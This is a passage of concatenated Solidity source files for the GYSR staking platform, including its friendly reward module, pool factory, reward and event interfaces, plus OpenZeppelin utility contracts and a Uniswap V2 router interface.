uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/*
ERC20FriendlyRewardModule
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "./interfaces/IRewardModule.sol";
import "./interfaces/IEvents.sol";
import "./ERC20BaseRewardModule.sol";
import "./GysrUtils.sol";
/**
* @title ERC20 friendly reward module
*
* @notice this reward module distributes a single ERC20 token as the staking reward.
* It is designed to offer simple and predictable reward mechanics.
*
* @dev rewards are immutable once earned, and can be claimed by the user at
* any time. The module can be configured with a linear vesting schedule to
* incentivize longer term staking. The user can spend GYSR at the time of
* staking to receive a multiplier on their earning rate.
*/
contract ERC20FriendlyRewardModule is ERC20BaseRewardModule {
using GysrUtils for uint256;
// constants
uint256 public constant FULL_VESTING = 10**DECIMALS;
// single stake by user
struct Stake {
uint256 shares;
uint256 gysr;
uint256 bonus;
uint256 rewardTally;
uint256 timestamp;
}
// mapping of user to all of their stakes
mapping(address => Stake[]) public stakes;
// total shares without GYSR multiplier applied
uint256 public totalRawStakingShares;
// total shares with GYSR multiplier applied
uint256 public totalStakingShares;
// counter representing the current rate of rewards per share
uint256 public rewardsPerStakedShare;
// value to keep track of earnings to be put back into the pool
uint256 public rewardDust;
// timestamp of last update
uint256 public lastUpdated;
// minimum ratio of earned rewards measured against FULL_VESTING (i.e. 2.5 * 10^17 would be 25%)
uint256 public immutable vestingStart;
// length of time in seconds until the user receives a FULL_VESTING (1x) multiplier on rewards
uint256 public immutable vestingPeriod;
IERC20 private immutable _token;
address private immutable _factory;
/**
* @param token_ the token that will be rewarded
* @param vestingStart_ minimum ratio earned
* @param vestingPeriod_ period (in seconds) over which investors vest to 100%
* @param factory_ address of module factory
*/
constructor(
address token_,
uint256 vestingStart_,
uint256 vestingPeriod_,
address factory_
) {
require(vestingStart_ <= FULL_VESTING, "frm1");
_token = IERC20(token_);
_factory = factory_;
vestingStart = vestingStart_;
vestingPeriod = vestingPeriod_;
lastUpdated = block.timestamp;
}
/**
* @inheritdoc IRewardModule
*/
function tokens()
external
view
override
returns (address[] memory tokens_)
{
tokens_ = new address[](1);
tokens_[0] = address(_token);
}
/**
* @inheritdoc IRewardModule
*/
function factory() external view override returns (address) {
return _factory;
}
/**
* @inheritdoc IRewardModule
*/
function balances()
external
view
override
returns (uint256[] memory balances_)
{
balances_ = new uint256[](1);
balances_[0] = totalLocked();
}
/**
* @inheritdoc IRewardModule
*/
function usage() external view override returns (uint256) {
return _usage();
}
/**
* @inheritdoc IRewardModule
*/
function stake(
address account,
address user,
uint256 shares,
bytes calldata data
) external override onlyOwner returns (uint256, uint256) {
_update();
return _stake(account, user, shares, data);
}
/**
* @notice internal implementation of stake method
* @param account address of staking account
* @param user address of user
* @param shares number of new shares minted
* @param data addtional data
* @return amount of gysr spent
* @return amount of gysr vested
*/
function _stake(
address account,
address user,
uint256 shares,
bytes calldata data
) internal returns (uint256, uint256) {
require(data.length == 0 || data.length == 32, "frm2");
uint256 gysr;
if (data.length == 32) {
assembly {
gysr := calldataload(164)
}
}
uint256 bonus =
gysr.gysrBonus(shares, totalRawStakingShares + shares, _usage());
if (gysr > 0) {
emit GysrSpent(user, gysr);
}
// update user staking info
stakes[account].push(
Stake(shares, gysr, bonus, rewardsPerStakedShare, block.timestamp)
);
// add new shares to global totals
totalRawStakingShares += shares;
totalStakingShares += (shares * bonus) / 10**DECIMALS;
return (gysr, 0);
}
/**
* @inheritdoc IRewardModule
*/
function unstake(
address account,
address user,
uint256 shares,
bytes calldata
) external override onlyOwner returns (uint256, uint256) {
_update();
return _unstake(account, user, shares);
}
/**
* @notice internal implementation of unstake
* @param account address of staking account
* @param user address of user
* @param shares number of shares burned
* @return amount of gysr spent
* @return amount of gysr vested
*/
function _unstake(
address account,
address user,
uint256 shares
) internal returns (uint256, uint256) {
// redeem first-in-last-out
uint256 sharesLeftToBurn = shares;
Stake[] storage userStakes = stakes[account];
uint256 rewardAmount;
uint256 gysrVested;
uint256 preVestingRewards;
uint256 timeVestingCoeff;
while (sharesLeftToBurn > 0) {
Stake storage lastStake = userStakes[userStakes.length - 1];
if (lastStake.shares <= sharesLeftToBurn) {
// fully redeem a past stake
preVestingRewards = _rewardForStakedShares(
lastStake.shares,
lastStake.bonus,
lastStake.rewardTally
);
timeVestingCoeff = timeVestingCoefficient(lastStake.timestamp);
rewardAmount +=
(preVestingRewards * timeVestingCoeff) /
10**DECIMALS;
rewardDust +=
(preVestingRewards * (FULL_VESTING - timeVestingCoeff)) /
10**DECIMALS;
totalStakingShares -=
(lastStake.shares * lastStake.bonus) /
10**DECIMALS;
sharesLeftToBurn -= lastStake.shares;
gysrVested += lastStake.gysr;
userStakes.pop();
} else {
// partially redeem a past stake
preVestingRewards = _rewardForStakedShares(
sharesLeftToBurn,
lastStake.bonus,
lastStake.rewardTally
);
timeVestingCoeff = timeVestingCoefficient(lastStake.timestamp);
rewardAmount +=
(preVestingRewards * timeVestingCoeff) /
10**DECIMALS;
rewardDust +=
(preVestingRewards * (FULL_VESTING - timeVestingCoeff)) /
10**DECIMALS;
totalStakingShares -=
(sharesLeftToBurn * lastStake.bonus) /
10**DECIMALS;
uint256 partialVested =
(sharesLeftToBurn * lastStake.gysr) / lastStake.shares;
gysrVested += partialVested;
lastStake.shares -= sharesLeftToBurn;
lastStake.gysr -= partialVested;
sharesLeftToBurn = 0;
}
}
// update global totals
totalRawStakingShares -= shares;
if (rewardAmount > 0) {
_distribute(user, address(_token), rewardAmount);
}
if (gysrVested > 0) {
emit GysrVested(user, gysrVested);
}
return (0, gysrVested);
}
/**
* @inheritdoc IRewardModule
*/
function claim(
address account,
address user,
uint256 shares,
bytes calldata data
) external override onlyOwner returns (uint256 spent, uint256 vested) {
_update();
(, vested) = _unstake(account, user, shares);
(spent, ) = _stake(account, user, shares, data);
}
/**
* @dev compute rewards owed for a specific stake
* @param shares number of shares to calculate rewards for
* @param bonus associated bonus for this stake
* @param rewardTally associated rewardTally for this stake
* @return reward for these staked shares
*/
function _rewardForStakedShares(
uint256 shares,
uint256 bonus,
uint256 rewardTally
) internal view returns (uint256) {
return
((((rewardsPerStakedShare - rewardTally) * shares) / 10**DECIMALS) * // counteract rewardsPerStakedShare coefficient
bonus) / 10**DECIMALS; // counteract bonus coefficient
}
/**
* @notice compute vesting multiplier as function of staking time
* @param time epoch time at which the tokens were staked
* @return vesting multiplier rewards
*/
function timeVestingCoefficient(uint256 time)
public
view
returns (uint256)
{
if (vestingPeriod == 0) return FULL_VESTING;
uint256 stakeTime = block.timestamp - time;
if (stakeTime > vestingPeriod) return FULL_VESTING;
return
vestingStart +
(stakeTime * (FULL_VESTING - vestingStart)) /
vestingPeriod;
}
/**
* @inheritdoc IRewardModule
*/
function update(address) external override {
requireOwner();
_update();
}
/**
* @notice method called ad hoc to clean up and perform additional accounting
* @dev will only be called manually, and should not contain any essential logic
*/
function clean() external override {
requireOwner();
_update();
_clean(address(_token));
}
/**
* @notice fund Geyser by locking up reward tokens for distribution
* @param amount number of reward tokens to lock up as funding
* @param duration period (seconds) over which funding will be unlocked
*/
function fund(uint256 amount, uint256 duration) external {
_update();
_fund(address(_token), amount, duration, block.timestamp);
}
/**
* @notice fund Geyser by locking up reward tokens for distribution
* @param amount number of reward tokens to lock up as funding
* @param duration period (seconds) over which funding will be unlocked
* @param start time (seconds) at which funding begins to unlock
*/
function fund(
uint256 amount,
uint256 duration,
uint256 start
) external {
_update();
_fund(address(_token), amount, duration, start);
}
/**
* @dev updates the internal accounting for rewards per staked share
* retrieves unlocked tokens and adds on any unvested rewards from the last unstake operation
*/
function _update() private {
lastUpdated = block.timestamp;
if (totalStakingShares == 0) {
rewardsPerStakedShare = 0;
return;
}
uint256 rewardsToUnlock = _unlockTokens(address(_token)) + rewardDust;
rewardDust = 0;
// global accounting
rewardsPerStakedShare +=
(rewardsToUnlock * 10**DECIMALS) /
totalStakingShares;
}
/**
* @return total number of locked reward tokens
*/
function totalLocked() public view returns (uint256) {
if (lockedShares(address(_token)) == 0) {
return 0;
}
return
(_token.balanceOf(address(this)) * lockedShares(address(_token))) /
totalShares(address(_token));
}
/**
* @return total number of unlocked reward tokens
*/
function totalUnlocked() public view returns (uint256) {
uint256 unlockedShares =
totalShares(address(_token)) - lockedShares(address(_token));
if (unlockedShares == 0) {
return 0;
}
return
(_token.balanceOf(address(this)) * unlockedShares) /
totalShares(address(_token));
}
/**
* @dev internal helper to get current usage ratio
* @return GYSR usage ratio
*/
function _usage() private view returns (uint256) {
if (totalStakingShares == 0) {
return 0;
}
return
((totalStakingShares - totalRawStakingShares) * 10**DECIMALS) /
totalStakingShares;
}
/**
* @param addr address of interest
* @return number of active stakes for user
*/
function stakeCount(address addr) public view returns (uint256) {
return stakes[addr].length;
}
}
/*
PoolFactory
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "./interfaces/IPoolFactory.sol";
import "./interfaces/IModuleFactory.sol";
import "./interfaces/IStakingModule.sol";
import "./interfaces/IRewardModule.sol";
import "./OwnerController.sol";
import "./Pool.sol";
/**
* @title Pool factory
*
* @notice this implements the Pool factory contract which allows any user to
* easily configure and deploy their own Pool
*
* @dev it relies on a system of sub-factories which are responsible for the
* creation of underlying staking and reward modules. This primary factory
* calls each module factory and assembles the overall Pool contract.
*
* this contract also manages various privileged platform settings including
* treasury address, fee amount, and module factory whitelist.
*/
contract PoolFactory is IPoolFactory, OwnerController {
// events
event PoolCreated(address indexed user, address pool);
event FeeUpdated(uint256 previous, uint256 updated);
event TreasuryUpdated(address previous, address updated);
event WhitelistUpdated(
address indexed factory,
uint256 previous,
uint256 updated
);
// types
enum ModuleFactoryType {Unknown, Staking, Reward}
// constants
uint256 public constant MAX_FEE = 20 * 10**16; // 20%
// fields
mapping(address => bool) public map;
address[] public list;
address private _gysr;
address private _treasury;
uint256 private _fee;
mapping(address => ModuleFactoryType) public whitelist;
/**
* @param gysr_ address of GYSR token
*/
constructor(address gysr_, address treasury_) {
_gysr = gysr_;
_treasury = treasury_;
_fee = MAX_FEE;
}
/**
* @notice create a new Pool
* @param staking address of factory that will be used to create staking module
* @param reward address of factory that will be used to create reward module
* @param stakingdata construction data for staking module factory
* @param rewarddata construction data for reward module factory
* @return address of newly created Pool
*/
function create(
address staking,
address reward,
bytes calldata stakingdata,
bytes calldata rewarddata
) external returns (address) {
// validate
require(whitelist[staking] == ModuleFactoryType.Staking, "f1");
require(whitelist[reward] == ModuleFactoryType.Reward, "f2");
// create modules
address stakingModule =
IModuleFactory(staking).createModule(stakingdata);
address rewardModule = IModuleFactory(reward).createModule(rewarddata);
// create pool
Pool pool = new Pool(stakingModule, rewardModule, _gysr, address(this));
// set access
IStakingModule(stakingModule).transferOwnership(address(pool));
IRewardModule(rewardModule).transferOwnership(address(pool));
pool.transferControl(msg.sender); // this also sets controller for modules
pool.transferOwnership(msg.sender);
// bookkeeping
map[address(pool)] = true;
list.push(address(pool));
// output
emit PoolCreated(msg.sender, address(pool));
return address(pool);
}
/**
* @inheritdoc IPoolFactory
*/
function treasury() external view override returns (address) {
return _treasury;
}
/**
* @inheritdoc IPoolFactory
*/
function fee() external view override returns (uint256) {
return _fee;
}
/**
* @notice update the GYSR treasury address
* @param treasury_ new value for treasury address
*/
function setTreasury(address treasury_) external {
requireController();
emit TreasuryUpdated(_treasury, treasury_);
_treasury = treasury_;
}
/**
* @notice update the global GYSR spending fee
* @param fee_ new value for GYSR spending fee
*/
function setFee(uint256 fee_) external {
requireController();
require(fee_ <= MAX_FEE, "f3");
emit FeeUpdated(_fee, fee_);
_fee = fee_;
}
/**
* @notice set the whitelist status of a module factory
* @param factory_ address of module factory
* @param type_ updated whitelist status for module
*/
function setWhitelist(address factory_, uint256 type_) external {
requireController();
require(type_ <= uint256(ModuleFactoryType.Reward), "f4");
require(factory_ != address(0), "f5");
emit WhitelistUpdated(factory_, uint256(whitelist[factory_]), type_);
whitelist[factory_] = ModuleFactoryType(type_);
}
/**
* @return total number of Pools created by the factory
*/
function count() public view returns (uint256) {
return list.length;
}
}
/*
IPool
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
/**
* @title Pool interface
*
* @notice this defines the core Pool contract interface
*/
interface IPool {
/**
* @return staking tokens for Pool
*/
function stakingTokens() external view returns (address[] memory);
/**
* @return reward tokens for Pool
*/
function rewardTokens() external view returns (address[] memory);
/**
* @return staking balances for user
*/
function stakingBalances(address user)
external
view
returns (uint256[] memory);
/**
* @return total staking balances for Pool
*/
function stakingTotals() external view returns (uint256[] memory);
/**
* @return reward balances for Pool
*/
function rewardBalances() external view returns (uint256[] memory);
/**
* @return GYSR usage ratio for Pool
*/
function usage() external view returns (uint256);
/**
* @return address of staking module
*/
function stakingModule() external view returns (address);
/**
* @return address of reward module
*/
function rewardModule() external view returns (address);
/**
* @notice stake asset and begin earning rewards
* @param amount number of tokens to unstake
* @param stakingdata data passed to staking module
* @param rewarddata data passed to reward module
*/
function stake(
uint256 amount,
bytes calldata stakingdata,
bytes calldata rewarddata
) external;
/**
* @notice unstake asset and claim rewards
* @param amount number of tokens to unstake
* @param stakingdata data passed to staking module
* @param rewarddata data passed to reward module
*/
function unstake(
uint256 amount,
bytes calldata stakingdata,
bytes calldata rewarddata
) external;
/**
* @notice claim rewards without unstaking
* @param amount number of tokens to claim against
* @param stakingdata data passed to staking module
* @param rewarddata data passed to reward module
*/
function claim(
uint256 amount,
bytes calldata stakingdata,
bytes calldata rewarddata
) external;
/**
* @notice method called ad hoc to update user accounting
*/
function update() external;
/**
* @notice method called ad hoc to clean up and perform additional accounting
*/
function clean() external;
/**
* @return gysr balance available for withdrawal
*/
function gysrBalance() external view returns (uint256);
/**
* @notice withdraw GYSR tokens applied during unstaking
* @param amount number of GYSR to withdraw
*/
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
/*
IRewardModule
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IEvents.sol";
import "../OwnerController.sol";
/**
* @title Reward module interface
*
* @notice this contract defines the common interface that any reward module
* must implement to be compatible with the modular Pool architecture.
*/
abstract contract IRewardModule is OwnerController, IEvents {
// constants
uint256 public constant DECIMALS = 18;
/**
* @return array of reward tokens
*/
function tokens() external view virtual returns (address[] memory);
/**
* @return array of reward token balances
*/
function balances() external view virtual returns (uint256[] memory);
/**
* @return GYSR usage ratio for reward module
*/
function usage() external view virtual returns (uint256);
/**
* @return address of module factory
*/
function factory() external view virtual returns (address);
/**
* @notice perform any necessary accounting for new stake
* @param account address of staking account
* @param user address of user
* @param shares number of new shares minted
* @param data addtional data
* @return amount of gysr spent
* @return amount of gysr vested
*/
function stake(
address account,
address user,
uint256 shares,
bytes calldata data
) external virtual returns (uint256, uint256);
/**
* @notice reward user and perform any necessary accounting for unstake
* @param account address of staking account
* @param user address of user
* @param shares number of shares burned
* @param data additional data
* @return amount of gysr spent
* @return amount of gysr vested
*/
function unstake(
address account,
address user,
uint256 shares,
bytes calldata data
) external virtual returns (uint256, uint256);
/**
* @notice reward user and perform and necessary accounting for existing stake
* @param account address of staking account
* @param user address of user
* @param shares number of shares being claimed against
* @param data addtional data
* @return amount of gysr spent
* @return amount of gysr vested
*/
function claim(
address account,
address user,
uint256 shares,
bytes calldata data
) external virtual returns (uint256, uint256);
/**
* @notice method called by anyone to update accounting
* @param user address of user for update
* @dev will only be called ad hoc and should not contain essential logic
*/
function update(address user) external virtual;
/**
* @notice method called by owner to clean up and perform additional accounting
* @dev will only be called ad hoc and should not contain any essential logic
*/
function clean() external virtual;
}
/*
IEvents
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
/**
* @title GYSR event system
*
* @notice common interface to define GYSR event system
*/
interface IEvents {
// staking
event Staked(
address indexed user,
address indexed token,
uint256 amount,
uint256 shares
);
event Unstaked(
address indexed user,
address indexed token,
uint256 amount,
uint256 shares
);
event Claimed(
address indexed user,
address indexed token,
uint256 amount,
uint256 shares
);
// rewards
event RewardsDistributed(
address indexed user,
address indexed token,
uint256 amount,
uint256 shares
);
event RewardsFunded(
address indexed token,
uint256 amount,
uint256 shares,
uint256 timestamp
);
event RewardsUnlocked(address indexed token, uint256 shares);
event RewardsExpired(
address indexed token,
uint256 amount,
uint256 shares,
uint256 timestamp
);
// gysr
event GysrSpent(address indexed user, uint256 amount);
event GysrVested(address indexed user, uint256 amount);
event GysrWithdrawn(uint256 amount);
}
/*
ERC20BaseRewardModule
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IRewardModule.sol";
/**
* @title ERC20 base reward module
*
* @notice this abstract class implements common ERC20 funding and unlocking
* logic, which is inherited by other reward modules.
*/
abstract contract ERC20BaseRewardModule is IRewardModule {
using SafeERC20 for IERC20;
// single funding/reward schedule
struct Funding {
uint256 amount;
uint256 shares;
uint256 locked;
uint256 updated;
uint256 start;
uint256 duration;
}
// constants
uint256 public constant INITIAL_SHARES_PER_TOKEN = 10**6;
uint256 public constant MAX_ACTIVE_FUNDINGS = 16;
// funding/reward state fields
mapping(address => Funding[]) private _fundings;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _locked;
/**
* @notice getter for total token shares
*/
function totalShares(address token) public view returns (uint256) {
return _shares[token];
}
/**
* @notice getter for total locked token shares
*/
function lockedShares(address token) public view returns (uint256) {
return _locked[token];
}
/**
* @notice getter for funding schedule struct
*/
function fundings(address token, uint256 index)
public
view
returns (
uint256 amount,
uint256 shares,
uint256 locked,
uint256 updated,
uint256 start,
uint256 duration
)
{
Funding storage f = _fundings[token][index];
return (f.amount, f.shares, f.locked, f.updated, f.start, f.duration);
}
/**
* @param token contract address of reward token
* @return number of active funding schedules
*/
function fundingCount(address token) public view returns (uint256) {
return _fundings[token].length;
}
/**
* @notice compute number of unlockable shares for a specific funding schedule
* @param token contract address of reward token
* @param idx index of the funding
* @return the number of unlockable shares
*/
function unlockable(address token, uint256 idx)
public
view
returns (uint256)
{
Funding storage funding = _fundings[token][idx];
// funding schedule is in future
if (block.timestamp < funding.start) {
return 0;
}
// empty
if (funding.locked == 0) {
return 0;
}
// handle zero-duration period or leftover dust from integer division
if (block.timestamp >= funding.start + funding.duration) {
return funding.locked;
}
return
((block.timestamp - funding.updated) * funding.shares) /
funding.duration;
}
/**
* @notice fund pool by locking up reward tokens for future distribution
* @param token contract address of reward token
* @param amount number of reward tokens to lock up as funding
* @param duration period (seconds) over which funding will be unlocked
* @param start time (seconds) at which funding begins to unlock
*/
function _fund(
address token,
uint256 amount,
uint256 duration,
uint256 start
) internal {
requireController();
// validate
require(amount > 0, "rm1");
require(start >= block.timestamp, "rm2");
require(_fundings[token].length < MAX_ACTIVE_FUNDINGS, "rm3");
IERC20 rewardToken = IERC20(token);
// do transfer of funding
uint256 total = rewardToken.balanceOf(address(this));
rewardToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 actual = rewardToken.balanceOf(address(this)) - total;
// mint shares at current rate
uint256 minted =
(total > 0)
? (_shares[token] * actual) / total
: actual * INITIAL_SHARES_PER_TOKEN;
_locked[token] += minted;
_shares[token] += minted;
// create new funding
_fundings[token].push(
Funding({
amount: amount,
shares: minted,
locked: minted,
updated: start,
start: start,
duration: duration
})
);
emit RewardsFunded(token, amount, minted, start);
}
/**
* @dev internal function to clean up stale funding schedules
* @param token contract address of reward token to clean up
*/
function _clean(address token) internal {
// check for stale funding schedules to expire
uint256 removed = 0;
uint256 originalSize = _fundings[token].length;
for (uint256 i = 0; i < originalSize; i++) {
Funding storage funding = _fundings[token][i - removed];
uint256 idx = i - removed;
if (
unlockable(token, idx) == 0 &&
block.timestamp >= funding.start + funding.duration
) {
emit RewardsExpired(
token,
funding.amount,
funding.shares,
funding.start
);
// remove at idx by copying last element here, then popping off last
// (we don't care about order)
_fundings[token][idx] = _fundings[token][
_fundings[token].length - 1
];
_fundings[token].pop();
removed++;
}
}
}
/**
* @dev unlocks reward tokens based on funding schedules
* @param token contract addres of reward token
* @return shares number of shares unlocked
*/
function _unlockTokens(address token) internal returns (uint256 shares) {
// get unlockable shares for each funding schedule
for (uint256 i = 0; i < _fundings[token].length; i++) {
uint256 s = unlockable(token, i);
Funding storage funding = _fundings[token][i];
if (s > 0) {
funding.locked -= s;
funding.updated = block.timestamp;
shares += s;
}
}
// do unlocking
if (shares > 0) {
_locked[token] -= shares;
emit RewardsUnlocked(token, shares);
}
}
/**
* @dev distribute reward tokens to user
* @param user address of user receiving rweard
* @param token contract address of reward token
* @param shares number of shares to be distributed
* @return amount number of reward tokens distributed
*/
function _distribute(
address user,
address token,
uint256 shares
) internal returns (uint256 amount) {
// compute reward amount in tokens
IERC20 rewardToken = IERC20(token);
amount =
(rewardToken.balanceOf(address(this)) * shares) /
_shares[token];
// update overall reward shares
_shares[token] -= shares;
// do reward
rewardToken.safeTransfer(user, amount);
emit RewardsDistributed(user, token, amount, shares);
}
}
/*
GYSRUtils
https://github.com/gysr-io/core
SPDX-License-Identifier: MIT
*/
pragma solidity 0.8.4;
import "./MathUtils.sol";
/**
* @title GYSR utilities
*
* @notice this library implements utility methods for the GYSR multiplier
* and spending mechanics
*/
library GysrUtils {
using MathUtils for int128;
// constants
uint256 public constant DECIMALS = 18;
uint256 public constant GYSR_PROPORTION = 10**(DECIMALS - 2); // 1%
/**
* @notice compute GYSR bonus as a function of usage ratio, stake amount,
* and GYSR spent
* @param gysr number of GYSR token applied to bonus
* @param amount number of tokens or shares to unstake
* @param total number of tokens or shares in overall pool
* @param ratio usage ratio from 0 to 1
* @return multiplier value
*/
function gysrBonus(
uint256 gysr,
uint256 amount,
uint256 total,
uint256 ratio
